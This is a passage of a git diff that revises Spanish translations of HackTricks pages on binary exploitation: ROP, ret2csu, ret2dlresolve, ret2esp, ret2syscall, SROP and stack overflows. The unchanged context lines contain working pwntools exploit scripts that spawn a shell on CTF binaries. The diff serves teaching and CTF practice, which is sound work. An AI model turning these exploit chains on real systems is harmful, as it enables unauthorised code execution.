'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` ### Otros ejemplos - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) -- Usamos una vulnerabilidad de desbordamiento de entero para obtener un desbordamiento de heap. +- Usamos una vulnerabilidad de desbordamiento de enteros para obtener un desbordamiento de heap. - Corrompemos punteros a una función dentro de un `struct` del chunk desbordado para establecer una función como `system` y obtener ejecución de código. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 7f02ae5a7..533236878 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -9,7 +9,7 @@ ### Cómo Funciona ROP 1. **Secuestro del Flujo de Control**: Primero, un atacante necesita secuestrar el flujo de control de un programa, típicamente explotando un desbordamiento de búfer para sobrescribir una dirección de retorno guardada en la pila. -2. **Encadenamiento de Gadgets**: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, `system("/bin/sh")`), y manejar cualquier limpieza o operaciones adicionales necesarias. +2. **Encadenamiento de Gadgets**: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, `system("/bin/sh")`), y manejar cualquier limpieza necesaria o operaciones adicionales. 3. **Ejecución de la Carga Útil**: Cuando la función vulnerable retorna, en lugar de regresar a una ubicación legítima, comienza a ejecutar la cadena de gadgets. ### Herramientas @@ -18,7 +18,7 @@ Típicamente, los gadgets se pueden encontrar usando [**ROPgadget**](https://git ## Ejemplo de Cadena ROP en x86 -### **x86 (32-bit) Convenciones de Llamada** +### **Convenciones de Llamada x86 (32-bit)** - **cdecl**: El llamador limpia la pila. Los argumentos de la función se empujan en la pila en orden inverso (de derecha a izquierda). **Los argumentos se empujan en la pila de derecha a izquierda.** - **stdcall**: Similar a cdecl, pero el llamado es responsable de limpiar la pila. @@ -37,7 +37,7 @@ Primero, supongamos que hemos identificado los gadgets necesarios dentro del bin Usando **pwntools**, preparamos la pila para la ejecución de la cadena ROP de la siguiente manera, con el objetivo de ejecutar `system('/bin/sh')`, nota cómo la cadena comienza con: 1. Una instrucción `ret` para propósitos de alineación (opcional) -2. Dirección de la función `system` (suponiendo ASLR deshabilitado y libc conocida, más información en [**Ret2lib**](ret2lib/)) +2. Dirección de la función `system` (suponiendo ASLR deshabilitado y libc conocida, más información en [**Ret2lib**](ret2lib/index.html)) 3. Marcador de posición para la dirección de retorno de `system()` 4. Dirección de la cadena `"/bin/sh"` (parámetro para la función system) ```python @@ -75,11 +75,11 @@ p.interactive() ``` ## Cadena ROP en x64 Ejemplo -### **x64 (64-bit) Convenciones de llamada** +### **x64 (64 bits) Convenciones de llamada** -- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas similares a Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`. +- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas tipo Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`. - La convención de llamada **Windows x64** utiliza `RCX`, `RDX`, `R8` y `R9` para los primeros cuatro argumentos enteros o punteros, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en `RAX`. -- **Registros**: los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`. +- **Registros**: Los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`. #### **Encontrar Gadgets** @@ -131,7 +131,7 @@ En este ejemplo: - Utilizamos el gadget **`pop rdi; ret`** para establecer **`RDI`** en la dirección de **`"/bin/sh"`**. - Saltamos directamente a **`system()`** después de establecer **`RDI`**, con la dirección de **system()** en la cadena. -- **`ret_gadget`** se utiliza para la alineación si el entorno objetivo lo requiere, lo cual es más común en **x64** para asegurar una alineación adecuada de la pila antes de llamar a funciones. +- Se utiliza **`ret_gadget`** para la alineación si el entorno objetivo lo requiere, lo cual es más común en **x64** para asegurar una alineación adecuada de la pila antes de llamar a funciones. ### Alineación de la Pila @@ -144,7 +144,7 @@ En este ejemplo: ## Ejemplo de cadena ROP en ARM64 -### **Conceptos básicos de ARM64 y convenciones de llamada** +### **Conceptos Básicos de ARM64 y Convenciones de Llamada** Consulta la siguiente página para esta información: @@ -152,10 +152,10 @@ Consulta la siguiente página para esta información: ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Protecciones contra ROP +## Protecciones Contra ROP -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/): Estas protecciones dificultan el uso de ROP ya que las direcciones de los gadgets cambian entre ejecuciones. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): En caso de un BOF, es necesario eludir el almacenamiento del canario de pila para sobrescribir los punteros de retorno y abusar de una cadena ROP. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Estas protecciones dificultan el uso de ROP ya que las direcciones de los gadgets cambian entre ejecuciones. +- [**Canarios de Pila**](../common-binary-protections-and-bypasses/stack-canaries/index.html): En caso de un BOF, es necesario eludir el canario de pila para sobrescribir punteros de retorno y abusar de una cadena ROP. - **Falta de Gadgets**: Si no hay suficientes gadgets, no será posible generar una cadena ROP. ## Técnicas basadas en ROP diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 2d3bb07cd..2211cda52 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -6,7 +6,7 @@ ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Información Básica -**ret2csu** es una técnica de hacking utilizada cuando intentas tomar control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa. +**ret2csu** es una técnica de hacking utilizada cuando intentas tomar el control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa. Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo diferentes partes del programa se comunican entre sí. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada `__libc_csu_init`. @@ -35,7 +35,7 @@ mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` -3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesites una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir algunas **condiciones** para alcanzarlo: +3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesitas una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir con algunas **condiciones** para alcanzarlo: ```armasm mov rdx, r15; mov rsi, r14; @@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` > [!WARNING] -> Tenga en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, está destinado a simplemente llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`. +> Tenga en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, solo está destinado a llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`. ### Eludir la llamada y alcanzar ret -El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, está **eludiendo las comparaciones y alcanzando el `ret`** después de la llamada: +El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, **está eludiendo las comparaciones y alcanzando el `ret`** después de la llamada: ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -165,8 +165,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` -### ¿Por Qué No Usar libc Directamente? +### ¿Por qué no usar libc directamente? -Usualmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**. +Normalmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index ebcb79813..61956eb68 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -4,16 +4,16 @@ ## Información Básica -Como se explicó en la página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) y [**Relro**](../common-binary-protections-and-bypasses/relro.md), los binarios sin Full Relro resolverán símbolos (como direcciones a bibliotecas externas) la primera vez que se utilizan. Esta resolución ocurre llamando a la función **`_dl_runtime_resolve`**. +Como se explica en la página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) y [**Relro**](../common-binary-protections-and-bypasses/relro.md), los binarios sin Full Relro resolverán símbolos (como direcciones a bibliotecas externas) la primera vez que se utilizan. Esta resolución ocurre llamando a la función **`_dl_runtime_resolve`**. La función **`_dl_runtime_resolve`** toma del stack referencias a algunas estructuras que necesita para **resolver** el símbolo especificado. Por lo tanto, es posible **falsificar todas estas estructuras** para hacer que la resolución dinámica vincule el símbolo solicitado (como la función **`system`**) y lo llame con un parámetro configurado (por ejemplo, **`system('/bin/sh')`**). -Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `'$'/bin/sh'`. +Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `$'/bin/sh'`. > [!TIP] -> Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) y no hay formas de filtrar direcciones de libc. +> Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/index.html) o [SROP](srop-sigreturn-oriented-programming/index.html)) y no hay formas de filtrar direcciones de libc. Mira este video para una buena explicación sobre esta técnica en la segunda mitad del video: @@ -31,7 +31,7 @@ O consulta estas páginas para una explicación paso a paso: 1. Escribir estructuras falsas en algún lugar 2. Establecer el primer argumento de system (`$rdi = &'/bin/sh'`) 3. Colocar en el stack las direcciones a las estructuras para llamar a **`_dl_runtime_resolve`** -4. **Llamar** `_dl_runtime_resolve` +4. **Llamar** a `_dl_runtime_resolve` 5. **`system`** será resuelto y llamado con `'/bin/sh'` como argumento De la [**documentación de pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), así es como se ve un ataque **`ret2dlresolve`**: @@ -188,6 +188,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32bit, sin relro, sin canary, nx, sin pie, desbordamiento de búfer básico y retorno. Para explotarlo, se utiliza el bof para llamar a `read` nuevamente con una sección `.bss` y un tamaño mayor, para almacenar allí las tablas falsas de `dlresolve` para cargar `system`, regresar a main y volver a abusar del bof inicial para llamar a dlresolve y luego `system('/bin/sh')`. +- 32bit, sin relro, sin canary, nx, sin pie, desbordamiento de búfer pequeño básico y retorno. Para explotarlo, se utiliza el bof para llamar a `read` nuevamente con una sección `.bss` y un tamaño mayor, para almacenar allí las tablas falsas de `dlresolve` para cargar `system`, regresar a main y volver a abusar del bof inicial para llamar a dlresolve y luego `system('/bin/sh')`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index bec7417ab..bddf0af8f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,9 +4,9 @@ ## **Ret2esp** -**Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila**, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción **`jmp esp`** o **`call esp`**. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción `ret`, el ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode. +**Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila**, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción **`jmp esp`** o **`call esp`**. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción `ret`, ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode. -Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) activo, puede ser necesario buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y puede que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)). +Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) activo, es posible que se necesite buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y puede que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)). Además, poder colocar el shellcode **después de la corrupción del EIP**, en lugar de en medio de la pila, asegura que cualquier instrucción `push` o `pop` ejecutada durante la operación de la función no interfiera con el shellcode. Esta interferencia podría ocurrir si el shellcode se colocara en medio de la pila de la función. @@ -21,7 +21,7 @@ Y escribe el shellcode temprano en la pila. ### Ejemplo -Puedes encontrar un ejemplo de esta técnica en [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable +Puedes encontrar un ejemplo de esta técnica en [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) con un exploit final como: ```python from pwn import * @@ -104,7 +104,7 @@ Los únicos que descubrí cambiarían el valor del registro donde se copió sp a ### Ret2reg -Si un registro tiene una dirección interesante, es posible saltar a ella simplemente encontrando la instrucción adecuada. Podrías usar algo como: +Si un registro tiene una dirección interesante, es posible saltar a él simplemente encontrando la instrucción adecuada. Podrías usar algo como: ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` @@ -143,7 +143,7 @@ También es posible encontrar el gadget **`br x0`** en la función **`do_stuff`*
-Usaremos ese gadget para saltar a él porque el binario está compilado **SIN PIE.** Usando un patrón, es posible ver que el **desplazamiento del desbordamiento de buffer es 80**, por lo que el exploit sería: +Usaremos ese gadget para saltar a él porque el binario está compilado **SIN PIE.** Usando un patrón, es posible ver que el **offset del desbordamiento de buffer es 80**, así que el exploit sería: ```python from pwn import * @@ -159,13 +159,13 @@ p.sendline(payload) p.interactive() ``` > [!WARNING] -> Si en lugar de `fgets` se hubiera utilizado algo como **`read`**, habría sido posible eludir PIE también **solo sobrescribiendo los últimos 2 bytes de la dirección de retorno** para volver a la instrucción `br x0;` sin necesidad de conocer la dirección completa.\ +> Si en lugar de `fgets` se hubiera utilizado algo como **`read`**, habría sido posible eludir PIE también **solo sobrescribiendo los últimos 2 bytes de la dirección de retorno** para regresar a la instrucción `br x0;` sin necesidad de conocer la dirección completa.\ > Con `fgets` no funciona porque **agrega un byte nulo (0x00) al final**. ## Protecciones - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Si la pila no es ejecutable, esto no ayudará ya que necesitamos colocar el shellcode en la pila y saltar para ejecutarlo. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Estos pueden dificultar encontrar una instrucción para saltar a esp o cualquier otro registro. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Estos pueden dificultar encontrar una instrucción para saltar a esp o cualquier otro registro. ## Referencias diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 45c53beef..1dc781bc9 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -16,7 +16,7 @@ Para preparar la llamada a la **syscall** se necesita la siguiente configuració Así que, básicamente, se necesita escribir la cadena `/bin/sh` en algún lugar y luego realizar la `syscall` (teniendo en cuenta el padding necesario para controlar la pila). Para esto, necesitamos un gadget para escribir `/bin/sh` en un área conocida. > [!TIP] -> Otra syscall interesante para llamar es **`mprotect`** que permitiría a un atacante **modificar los permisos de una página en memoria**. Esto se puede combinar con [**ret2shellcode**](../../stack-overflow/stack-shellcode/). +> Otra syscall interesante para llamar es **`mprotect`** que permitiría a un atacante **modificar los permisos de una página en memoria**. Esto se puede combinar con [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html). ## Gadgets de Registro @@ -52,7 +52,7 @@ mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` ### Automatizar la cadena ROP -El siguiente comando crea una cadena ROP completa `sys_execve` dada una binaria estática cuando hay gadgets de write-what-where e instrucciones de syscall: +El siguiente comando crea una cadena ROP completa `sys_execve` dado un binario estático cuando hay gadgets de write-what-where e instrucciones de syscall: ```bash ROPgadget --binary vuln --ropchain ``` @@ -176,6 +176,6 @@ target.interactive() - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) - 64 bits, nx, sin PIE, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. Para escribir en la pila se abusa de una función que realiza operaciones matemáticas. - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) -- 64 bits, sin PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. +- 64 bits, sin PIE, nx, canario BF, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index fca4bca33..48511907b 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -1,17 +1,17 @@ -# SROP - Programación Orientada a la Señal +# SROP - Sigreturn-Oriented Programming {{#include ../../../banners/hacktricks-training.md}} ## Información Básica -**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un controlador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **controlador de señales**, una función especial diseñada para tratar con señales. +**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar con señales. -Después de que el controlador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del controlador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el controlador de señales. +Después de que el manejador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del manejador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales. La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila. > [!CAUTION] -> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de registro y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`. +> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría cargar en la **pila** es posible para **controlar** todos los valores de los registros y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`. Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls: @@ -128,13 +128,13 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) -- Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** y leer la bandera que está dentro de la memoria del binario. +- Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/index.html) a través de una estructura **sigreturn** y leer la bandera que está dentro de la memoria del binario. - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) -- Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** (el binario tiene la cadena `/bin/sh`). +- Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/index.html) a través de una estructura **sigreturn** (el binario tiene la cadena `/bin/sh`). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) -- 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/). La cadena ROP escribe `/bin/sh` en la `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell. +- 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/index.html). La cadena ROP escribe `/bin/sh` en la `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará. +- Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read intro ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode. diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 06c81506e..38a5beaf4 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,11 +4,11 @@ ## Qué es un Stack Overflow -Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Estos datos en exceso **sobrescribirán el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan verificación de límites en la entrada. +Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Estos datos en exceso **sobrescribirán el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada. El principal problema de esta sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para regresar a la función anterior están **almacenados en la pila**. Por lo tanto, un atacante podrá sobrescribir esos y **controlar el flujo de ejecución del programa**. -La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de la cantidad asignada para ella**, por lo tanto, siendo capaz de sobrescribir otras partes de la pila. +La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de los que se le han asignado**, por lo que puede sobrescribir otras partes de la pila. Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read` & `memcpy`** que toman un **argumento de longitud**, podrían usarse de manera vulnerable si la longitud especificada es mayor que la asignada. @@ -57,7 +57,7 @@ Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de ### Ret2win -En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaría deshabilitado) para que cuando la función vulnerable 